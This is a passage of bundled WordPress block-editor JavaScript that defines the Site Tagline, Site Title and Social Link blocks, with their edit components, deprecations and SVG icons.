48144const site_tagline_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/site-tagline","title":"Site Tagline","category":"theme","description":"Describe in a few words what this site is about. This is important for search results, sharing on social media, and gives overall clarity to visitors.","keywords":["description"],"textdomain":"default","attributes":{"textAlign":{"type":"string"},"level":{"type":"number","default":0},"levelOptions":{"type":"array","default":[0,1,2,3,4,5,6]}},"example":{"viewportWidth":350,"attributes":{"textAlign":"center"}},"supports":{"align":["wide","full"],"html":false,"color":{"gradients":true,"__experimentalDefaultControls":{"background":true,"text":true}},"contentRole":true,"spacing":{"margin":true,"padding":true,"__experimentalDefaultControls":{"margin":false,"padding":false}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalFontStyle":true,"__experimentalFontWeight":true,"__experimentalLetterSpacing":true,"__experimentalWritingMode":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true}},"editorStyle":"wp-block-site-tagline-editor","style":"wp-block-site-tagline"}');
48145;// ./node_modules/@wordpress/block-library/build-module/site-tagline/edit.js
48146
48147
48148
48149
48150
48151
48152
48153function SiteTaglineEdit({
48154 attributes,
48155 setAttributes,
48156 insertBlocksAfter
48157}) {
48158 const { textAlign, level, levelOptions } = attributes;
48159 const { canUserEdit, tagline } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
48160 const { canUser, getEntityRecord, getEditedEntityRecord } = select(external_wp_coreData_namespaceObject.store);
48161 const canEdit = canUser("update", {
48162 kind: "root",
48163 name: "site"
48164 });
48165 const settings = canEdit ? getEditedEntityRecord("root", "site") : {};
48166 const readOnlySettings = getEntityRecord("root", "__unstableBase");
48167 return {
48168 canUserEdit: canEdit,
48169 tagline: canEdit ? settings?.description : readOnlySettings?.description
48170 };
48171 }, []);
48172 const TagName = level === 0 ? "p" : `h${level}`;
48173 const { editEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
48174 function setTagline(newTagline) {
48175 editEntityRecord("root", "site", void 0, {
48176 description: newTagline
48177 });
48178 }
48179 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
48180 className: dist_clsx({
48181 [`has-text-align-${textAlign}`]: textAlign,
48182 "wp-block-site-tagline__placeholder": !canUserEdit && !tagline
48183 })
48184 });
48185 const siteTaglineContent = canUserEdit ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48186 external_wp_blockEditor_namespaceObject.RichText,
48187 {
48188 allowedFormats: [],
48189 onChange: setTagline,
48190 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Site tagline text"),
48191 placeholder: (0,external_wp_i18n_namespaceObject.__)("Write site tagline\u2026"),
48192 tagName: TagName,
48193 value: tagline,
48194 disableLineBreaks: true,
48195 __unstableOnSplitAtEnd: () => insertBlocksAfter((0,external_wp_blocks_namespaceObject.createBlock)((0,external_wp_blocks_namespaceObject.getDefaultBlockName)())),
48196 ...blockProps
48197 }
48198 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...blockProps, children: tagline || (0,external_wp_i18n_namespaceObject.__)("Site Tagline placeholder") });
48199 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
48200 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: [
48201 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48202 external_wp_blockEditor_namespaceObject.HeadingLevelDropdown,
48203 {
48204 value: level,
48205 options: levelOptions,
48206 onChange: (newLevel) => setAttributes({ level: newLevel })
48207 }
48208 ),
48209 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48210 external_wp_blockEditor_namespaceObject.AlignmentControl,
48211 {
48212 onChange: (newAlign) => setAttributes({ textAlign: newAlign }),
48213 value: textAlign
48214 }
48215 )
48216 ] }),
48217 siteTaglineContent
48218 ] });
48219}
48220
48221
48222;// ./node_modules/@wordpress/block-library/build-module/site-tagline/icon.js
48223
48224
48225var site_tagline_icon_icon_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", width: "24", height: "24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M4 10.5h16V9H4v1.5ZM4 15h9v-1.5H4V15Z" }) });
48226
48227
48228;// ./node_modules/@wordpress/block-library/build-module/site-tagline/deprecated.js
48229
48230const site_tagline_deprecated_v1 = {
48231 attributes: {
48232 textAlign: {
48233 type: "string"
48234 }
48235 },
48236 supports: {
48237 align: ["wide", "full"],
48238 html: false,
48239 color: {
48240 gradients: true
48241 },
48242 spacing: {
48243 margin: true,
48244 padding: true
48245 },
48246 typography: {
48247 fontSize: true,
48248 lineHeight: true,
48249 __experimentalFontFamily: true,
48250 __experimentalTextTransform: true,
48251 __experimentalFontStyle: true,
48252 __experimentalFontWeight: true,
48253 __experimentalLetterSpacing: true
48254 }
48255 },
48256 save() {
48257 return null;
48258 },
48259 migrate: migrate_font_family_default,
48260 isEligible({ style }) {
48261 return style?.typography?.fontFamily;
48262 }
48263};
48264var site_tagline_deprecated_deprecated_default = [site_tagline_deprecated_v1];
48265
48266
48267;// ./node_modules/@wordpress/block-library/build-module/site-tagline/index.js
48268
48269
48270
48271
48272
48273const { name: site_tagline_name } = site_tagline_block_namespaceObject;
48274const site_tagline_settings = {
48275 icon: site_tagline_icon_icon_default,
48276 edit: SiteTaglineEdit,
48277 deprecated: site_tagline_deprecated_deprecated_default
48278};
48279const site_tagline_init = () => initBlock({ name: site_tagline_name, metadata: site_tagline_block_namespaceObject, settings: site_tagline_settings });
48280
48281
48282;// ./node_modules/@wordpress/icons/build-module/library/map-marker.js
48283
48284
48285var map_marker_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12 9c-.8 0-1.5.7-1.5 1.5S11.2 12 12 12s1.5-.7 1.5-1.5S12.8 9 12 9zm0-5c-3.6 0-6.5 2.8-6.5 6.2 0 .8.3 1.8.9 3.1.5 1.1 1.2 2.3 2 3.6.7 1 3 3.8 3.2 3.9l.4.5.4-.5c.2-.2 2.6-2.9 3.2-3.9.8-1.2 1.5-2.5 2-3.6.6-1.3.9-2.3.9-3.1C18.5 6.8 15.6 4 12 4zm4.3 8.7c-.5 1-1.1 2.2-1.9 3.4-.5.7-1.7 2.2-2.4 3-.7-.8-1.9-2.3-2.4-3-.8-1.2-1.4-2.3-1.9-3.3-.6-1.4-.7-2.2-.7-2.5 0-2.6 2.2-4.7 5-4.7s5 2.1 5 4.7c0 .2-.1 1-.7 2.4z" }) });
48286
48287
48288;// ./node_modules/@wordpress/block-library/build-module/site-title/block.json
48289const site_title_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/site-title","title":"Site Title","category":"theme","description":"Displays the name of this site. Update the block, and the changes apply everywhere it’s used. This will also appear in the browser title bar and in search results.","textdomain":"default","attributes":{"level":{"type":"number","default":1},"levelOptions":{"type":"array","default":[0,1,2,3,4,5,6]},"textAlign":{"type":"string"},"isLink":{"type":"boolean","default":true,"role":"content"},"linkTarget":{"type":"string","default":"_self","role":"content"}},"example":{"viewportWidth":500},"supports":{"align":["wide","full"],"html":false,"color":{"gradients":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true,"link":true}},"spacing":{"padding":true,"margin":true,"__experimentalDefaultControls":{"margin":false,"padding":false}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalFontStyle":true,"__experimentalFontWeight":true,"__experimentalLetterSpacing":true,"__experimentalWritingMode":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true}},"editorStyle":"wp-block-site-title-editor","style":"wp-block-site-title"}');
48290;// ./node_modules/@wordpress/block-library/build-module/site-title/edit.js
48291
48292
48293
48294
48295
48296
48297
48298
48299
48300
48301function SiteTitleEdit({
48302 attributes,
48303 setAttributes,
48304 insertBlocksAfter
48305}) {
48306 const { level, levelOptions, textAlign, isLink, linkTarget } = attributes;
48307 const { canUserEdit, title } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
48308 const { canUser, getEntityRecord, getEditedEntityRecord } = select(external_wp_coreData_namespaceObject.store);
48309 const canEdit = canUser("update", {
48310 kind: "root",
48311 name: "site"
48312 });
48313 const settings = canEdit ? getEditedEntityRecord("root", "site") : {};
48314 const readOnlySettings = getEntityRecord("root", "__unstableBase");
48315 return {
48316 canUserEdit: canEdit,
48317 title: canEdit ? settings?.title : readOnlySettings?.name
48318 };
48319 }, []);
48320 const { editEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
48321 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
48322 const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
48323 function setTitle(newTitle) {
48324 editEntityRecord("root", "site", void 0, {
48325 title: newTitle.trim()
48326 });
48327 }
48328 const TagName = level === 0 ? "p" : `h${level}`;
48329 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
48330 className: dist_clsx({
48331 [`has-text-align-${textAlign}`]: textAlign,
48332 "wp-block-site-title__placeholder": !canUserEdit && !title
48333 })
48334 });
48335 const siteTitleContent = canUserEdit ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48336 external_wp_blockEditor_namespaceObject.RichText,
48337 {
48338 tagName: isLink ? "a" : "span",
48339 href: isLink ? "#site-title-pseudo-link" : void 0,
48340 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Site title text"),
48341 placeholder: (0,external_wp_i18n_namespaceObject.__)("Write site title\u2026"),
48342 value: title,
48343 onChange: setTitle,
48344 allowedFormats: [],
48345 disableLineBreaks: true,
48346 __unstableOnSplitAtEnd: () => insertBlocksAfter((0,external_wp_blocks_namespaceObject.createBlock)((0,external_wp_blocks_namespaceObject.getDefaultBlockName)()))
48347 }
48348 ) }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...blockProps, children: isLink ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48349 "a",
48350 {
48351 href: "#site-title-pseudo-link",
48352 onClick: (event) => event.preventDefault(),
48353 children: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title) || (0,external_wp_i18n_namespaceObject.__)("Site Title placeholder")
48354 }
48355 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { children: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title) || (0,external_wp_i18n_namespaceObject.__)("Site Title placeholder") }) });
48356 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
48357 blockEditingMode === "default" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: [
48358 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48359 external_wp_blockEditor_namespaceObject.HeadingLevelDropdown,
48360 {
48361 value: level,
48362 options: levelOptions,
48363 onChange: (newLevel) => setAttributes({ level: newLevel })
48364 }
48365 ),
48366 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48367 external_wp_blockEditor_namespaceObject.AlignmentControl,
48368 {
48369 value: textAlign,
48370 onChange: (nextAlign) => {
48371 setAttributes({ textAlign: nextAlign });
48372 }
48373 }
48374 )
48375 ] }),
48376 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
48377 external_wp_components_namespaceObject.__experimentalToolsPanel,
48378 {
48379 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
48380 resetAll: () => {
48381 setAttributes({
48382 isLink: true,
48383 linkTarget: "_self"
48384 });
48385 },
48386 dropdownMenuProps,
48387 children: [
48388 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48389 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
48390 {
48391 hasValue: () => !isLink,
48392 label: (0,external_wp_i18n_namespaceObject.__)("Make title link to home"),
48393 onDeselect: () => setAttributes({ isLink: true }),
48394 isShownByDefault: true,
48395 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48396 external_wp_components_namespaceObject.ToggleControl,
48397 {
48398 __nextHasNoMarginBottom: true,
48399 label: (0,external_wp_i18n_namespaceObject.__)("Make title link to home"),
48400 onChange: () => setAttributes({ isLink: !isLink }),
48401 checked: isLink
48402 }
48403 )
48404 }
48405 ),
48406 isLink && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48407 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
48408 {
48409 hasValue: () => linkTarget !== "_self",
48410 label: (0,external_wp_i18n_namespaceObject.__)("Open in new tab"),
48411 onDeselect: () => setAttributes({ linkTarget: "_self" }),
48412 isShownByDefault: true,
48413 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48414 external_wp_components_namespaceObject.ToggleControl,
48415 {
48416 __nextHasNoMarginBottom: true,
48417 label: (0,external_wp_i18n_namespaceObject.__)("Open in new tab"),
48418 onChange: (value) => setAttributes({
48419 linkTarget: value ? "_blank" : "_self"
48420 }),
48421 checked: linkTarget === "_blank"
48422 }
48423 )
48424 }
48425 )
48426 ]
48427 }
48428 ) }),
48429 siteTitleContent
48430 ] });
48431}
48432
48433
48434;// ./node_modules/@wordpress/block-library/build-module/site-title/deprecated.js
48435
48436const site_title_deprecated_v1 = {
48437 attributes: {
48438 level: {
48439 type: "number",
48440 default: 1
48441 },
48442 textAlign: {
48443 type: "string"
48444 },
48445 isLink: {
48446 type: "boolean",
48447 default: true
48448 },
48449 linkTarget: {
48450 type: "string",
48451 default: "_self"
48452 }
48453 },
48454 supports: {
48455 align: ["wide", "full"],
48456 html: false,
48457 color: {
48458 gradients: true,
48459 link: true
48460 },
48461 spacing: {
48462 padding: true,
48463 margin: true
48464 },
48465 typography: {
48466 fontSize: true,
48467 lineHeight: true,
48468 __experimentalFontFamily: true,
48469 __experimentalTextTransform: true,
48470 __experimentalFontStyle: true,
48471 __experimentalFontWeight: true,
48472 __experimentalLetterSpacing: true
48473 }
48474 },
48475 save() {
48476 return null;
48477 },
48478 migrate: migrate_font_family_default,
48479 isEligible({ style }) {
48480 return style?.typography?.fontFamily;
48481 }
48482};
48483var site_title_deprecated_deprecated_default = [site_title_deprecated_v1];
48484
48485
48486;// ./node_modules/@wordpress/block-library/build-module/site-title/transforms.js
48487
48488const site_title_transforms_transforms = {
48489 to: [
48490 {
48491 type: "block",
48492 blocks: ["core/site-logo"],
48493 transform: ({ isLink, linkTarget }) => {
48494 return (0,external_wp_blocks_namespaceObject.createBlock)("core/site-logo", {
48495 isLink,
48496 linkTarget
48497 });
48498 }
48499 }
48500 ]
48501};
48502var site_title_transforms_transforms_default = site_title_transforms_transforms;
48503
48504
48505;// ./node_modules/@wordpress/block-library/build-module/site-title/index.js
48506
48507
48508
48509
48510
48511
48512const { name: site_title_name } = site_title_block_namespaceObject;
48513const site_title_settings = {
48514 icon: map_marker_default,
48515 example: {
48516 viewportWidth: 350,
48517 attributes: {
48518 textAlign: "center"
48519 }
48520 },
48521 edit: SiteTitleEdit,
48522 transforms: site_title_transforms_transforms_default,
48523 deprecated: site_title_deprecated_deprecated_default
48524};
48525const site_title_init = () => initBlock({ name: site_title_name, metadata: site_title_block_namespaceObject, settings: site_title_settings });
48526
48527
48528;// ./node_modules/@wordpress/icons/build-module/library/share.js
48529
48530
48531var share_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M9 11.8l6.1-4.5c.1.4.4.7.9.7h2c.6 0 1-.4 1-1V5c0-.6-.4-1-1-1h-2c-.6 0-1 .4-1 1v.4l-6.4 4.8c-.2-.1-.4-.2-.6-.2H6c-.6 0-1 .4-1 1v2c0 .6.4 1 1 1h2c.2 0 .4-.1.6-.2l6.4 4.8v.4c0 .6.4 1 1 1h2c.6 0 1-.4 1-1v-2c0-.6-.4-1-1-1h-2c-.5 0-.8.3-.9.7L9 12.2v-.4z" }) });
48532
48533
48534;// ./node_modules/@wordpress/icons/build-module/library/keyboard-return.js
48535
48536
48537var keyboard_return_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m6.734 16.106 2.176-2.38-1.093-1.028-3.846 4.158 3.846 4.158 1.093-1.028-2.176-2.38h2.811c1.125 0 2.25.03 3.374 0 1.428-.001 3.362-.25 4.963-1.277 1.66-1.065 2.868-2.906 2.868-5.859 0-2.479-1.327-4.896-3.65-5.93-1.82-.813-3.044-.8-4.806-.788l-.567.002v1.5c.184 0 .368 0 .553-.002 1.82-.007 2.704-.014 4.21.657 1.854.827 2.76 2.657 2.76 4.561 0 2.472-.973 3.824-2.178 4.596-1.258.807-2.864 1.04-4.163 1.04h-.02c-1.115.03-2.229 0-3.344 0H6.734Z" }) });
48538
48539
48540;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/chain.js
48541
48542
48543const ChainIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M15.6 7.2H14v1.5h1.6c2 0 3.7 1.7 3.7 3.7s-1.7 3.7-3.7 3.7H14v1.5h1.6c2.8 0 5.2-2.3 5.2-5.2 0-2.9-2.3-5.2-5.2-5.2zM4.7 12.4c0-2 1.7-3.7 3.7-3.7H10V7.2H8.4c-2.9 0-5.2 2.3-5.2 5.2 0 2.9 2.3 5.2 5.2 5.2H10v-1.5H8.4c-2 0-3.7-1.7-3.7-3.7zm4.6.9h5.3v-1.5H9.3v1.5z" }) });
48544
48545
48546;// ./node_modules/@wordpress/block-library/build-module/social-link/social-list.js
48547
48548
48549function getSocialService(variation) {
48550 if (!variation?.name) {
48551 return {
48552 icon: ChainIcon,
48553 label: (0,external_wp_i18n_namespaceObject.__)("Social Icon")
48554 };
48555 }
48556 return {
48557 icon: variation?.icon ?? ChainIcon,
48558 label: variation?.title ?? (0,external_wp_i18n_namespaceObject.__)("Social Icon")
48559 };
48560}
48561
48562
48563;// ./node_modules/@wordpress/block-library/build-module/social-link/edit.js
48564
48565
48566
48567
48568
48569
48570
48571
48572
48573
48574
48575
48576
48577const SocialLinkURLPopover = ({
48578 url,
48579 setAttributes,
48580 setPopover,
48581 popoverAnchor,
48582 clientId
48583}) => {
48584 const { removeBlock } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
48585 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48586 external_wp_blockEditor_namespaceObject.URLPopover,
48587 {
48588 anchor: popoverAnchor,
48589 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Edit social link"),
48590 onClose: () => {
48591 setPopover(false);
48592 popoverAnchor?.focus();
48593 },
48594 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48595 "form",
48596 {
48597 className: "block-editor-url-popover__link-editor",
48598 onSubmit: (event) => {
48599 event.preventDefault();
48600 setPopover(false);
48601 popoverAnchor?.focus();
48602 },
48603 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-url-input", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48604 external_wp_blockEditor_namespaceObject.URLInput,
48605 {
48606 value: url,
48607 onChange: (nextURL) => setAttributes({ url: nextURL }),
48608 placeholder: (0,external_wp_i18n_namespaceObject.__)("Enter social link"),
48609 label: (0,external_wp_i18n_namespaceObject.__)("Enter social link"),
48610 hideLabelFromVision: true,
48611 disableSuggestions: true,
48612 onKeyDown: (event) => {
48613 if (!!url || event.defaultPrevented || ![external_wp_keycodes_namespaceObject.BACKSPACE, external_wp_keycodes_namespaceObject.DELETE].includes(
48614 event.keyCode
48615 )) {
48616 return;
48617 }
48618 removeBlock(clientId);
48619 },
48620 suffix: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalInputControlSuffixWrapper, { variant: "control", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48621 external_wp_components_namespaceObject.Button,
48622 {
48623 icon: keyboard_return_default,
48624 label: (0,external_wp_i18n_namespaceObject.__)("Apply"),
48625 type: "submit",
48626 size: "small"
48627 }
48628 ) })
48629 }
48630 ) })
48631 }
48632 )
48633 }
48634 );
48635};
48636const SocialLinkEdit = ({
48637 attributes,
48638 context,
48639 isSelected,
48640 setAttributes,
48641 clientId,
48642 name
48643}) => {
48644 const { url, service, label = "", rel } = attributes;
48645 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
48646 const {
48647 showLabels,
48648 iconColor,
48649 iconColorValue,
48650 iconBackgroundColor,
48651 iconBackgroundColorValue
48652 } = context;
48653 const [showURLPopover, setPopover] = (0,external_wp_element_namespaceObject.useState)(false);
48654 const wrapperClasses = dist_clsx(
48655 "wp-social-link",
48656 // Manually adding this class for backwards compatibility of CSS when moving the
48657 // blockProps from the li to the button: https://github.com/WordPress/gutenberg/pull/64883
48658 "wp-block-social-link",
48659 "wp-social-link-" + service,
48660 {
48661 "wp-social-link__is-incomplete": !url,
48662 [`has-${iconColor}-color`]: iconColor,
48663 [`has-${iconBackgroundColor}-background-color`]: iconBackgroundColor
48664 }
48665 );
48666 const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
48667 const isContentOnlyMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)() === "contentOnly";
48668 const { activeVariation } = (0,external_wp_data_namespaceObject.useSelect)(
48669 (select) => {
48670 const { getActiveBlockVariation } = select(external_wp_blocks_namespaceObject.store);
48671 return {
48672 activeVariation: getActiveBlockVariation(name, attributes)
48673 };
48674 },
48675 [name, attributes]
48676 );
48677 const { icon, label: socialLinkName } = getSocialService(activeVariation);
48678 const socialLinkText = label.trim() === "" ? socialLinkName : label;
48679 const ref = (0,external_wp_element_namespaceObject.useRef)();
48680 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
48681 className: "wp-block-social-link-anchor",
48682 ref: (0,external_wp_compose_namespaceObject.useMergeRefs)([setPopoverAnchor, ref]),
48683 onClick: () => setPopover(true),
48684 onKeyDown: (event) => {
48685 if (event.keyCode === external_wp_keycodes_namespaceObject.ENTER) {
48686 event.preventDefault();
48687 setPopover(true);
48688 }
48689 }
48690 });
48691 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
48692 isContentOnlyMode && showLabels && // Add an extra control to modify the label attribute when content only mode is active.
48693 // With content only mode active, the inspector is hidden, so users need another way
48694 // to edit this attribute.
48695 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "other", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48696 external_wp_components_namespaceObject.Dropdown,
48697 {
48698 popoverProps: { placement: "bottom-start" },
48699 renderToggle: ({ isOpen, onToggle }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48700 external_wp_components_namespaceObject.ToolbarButton,
48701 {
48702 onClick: onToggle,
48703 "aria-haspopup": "true",
48704 "aria-expanded": isOpen,
48705 children: (0,external_wp_i18n_namespaceObject.__)("Text")
48706 }
48707 ),
48708 renderContent: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48709 external_wp_components_namespaceObject.TextControl,
48710 {
48711 __next40pxDefaultSize: true,
48712 __nextHasNoMarginBottom: true,
48713 className: "wp-block-social-link__toolbar_content_text",
48714 label: (0,external_wp_i18n_namespaceObject.__)("Text"),
48715 help: (0,external_wp_i18n_namespaceObject.__)(
48716 "Provide a text label or use the default."
48717 ),
48718 value: label,
48719 onChange: (value) => setAttributes({ label: value }),
48720 placeholder: socialLinkName
48721 }
48722 )
48723 }
48724 ) }),
48725 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48726 external_wp_components_namespaceObject.__experimentalToolsPanel,
48727 {
48728 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
48729 resetAll: () => {
48730 setAttributes({ label: void 0 });
48731 },
48732 dropdownMenuProps,
48733 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48734 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
48735 {
48736 isShownByDefault: true,
48737 label: (0,external_wp_i18n_namespaceObject.__)("Text"),
48738 hasValue: () => !!label,
48739 onDeselect: () => {
48740 setAttributes({ label: void 0 });
48741 },
48742 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48743 external_wp_components_namespaceObject.TextControl,
48744 {
48745 __next40pxDefaultSize: true,
48746 __nextHasNoMarginBottom: true,
48747 label: (0,external_wp_i18n_namespaceObject.__)("Text"),
48748 help: (0,external_wp_i18n_namespaceObject.__)(
48749 "The text is visible when enabled from the parent Social Icons block."
48750 ),
48751 value: label,
48752 onChange: (value) => setAttributes({ label: value }),
48753 placeholder: socialLinkName
48754 }
48755 )
48756 }
48757 )
48758 }
48759 ) }),
48760 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { group: "advanced", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48761 external_wp_components_namespaceObject.TextControl,
48762 {
48763 __next40pxDefaultSize: true,
48764 __nextHasNoMarginBottom: true,
48765 label: (0,external_wp_i18n_namespaceObject.__)("Link relation"),
48766 help: (0,external_wp_element_namespaceObject.createInterpolateElement)(
48767 (0,external_wp_i18n_namespaceObject.__)(
48768 "The <a>Link Relation</a> attribute defines the relationship between a linked resource and the current document."
48769 ),
48770 {
48771 a: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ExternalLink, { href: "https://developer.mozilla.org/docs/Web/HTML/Attributes/rel" })
48772 }
48773 ),
48774 value: rel || "",
48775 onChange: (value) => setAttributes({ rel: value })
48776 }
48777 ) }),
48778 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
48779 "li",
48780 {
48781 role: "presentation",
48782 className: wrapperClasses,
48783 style: {
48784 color: iconColorValue,
48785 backgroundColor: iconBackgroundColorValue
48786 },
48787 children: [
48788 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("button", { "aria-haspopup": "dialog", ...blockProps, role: "button", children: [
48789 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, { icon }),
48790 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48791 "span",
48792 {
48793 className: dist_clsx("wp-block-social-link-label", {
48794 "screen-reader-text": !showLabels
48795 }),
48796 children: socialLinkText
48797 }
48798 )
48799 ] }),
48800 isSelected && showURLPopover && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48801 SocialLinkURLPopover,
48802 {
48803 url,
48804 setAttributes,
48805 setPopover,
48806 popoverAnchor,
48807 clientId
48808 }
48809 )
48810 ]
48811 }
48812 )
48813 ] });
48814};
48815var social_link_edit_edit_default = SocialLinkEdit;
48816
48817
48818;// ./node_modules/@wordpress/block-library/build-module/social-link/block.json
